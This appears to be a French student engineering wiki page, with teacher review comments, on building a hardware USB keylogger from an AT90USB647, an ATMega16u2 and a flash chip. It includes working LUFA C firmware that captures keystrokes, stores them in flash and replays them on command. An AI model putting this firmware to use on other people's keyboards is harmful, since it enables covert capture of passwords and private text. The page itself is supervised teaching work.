Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[CODES_PACKET_SIZE];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de soucis, j'en ai profité aussi pour modifier les autres variables concernant le parcourt du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[CODES_PACKET_SIZE];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0; byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(data[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(flash_buffer[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

SE4 2022/2023 EC5

2023-08-15T07:40:26Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

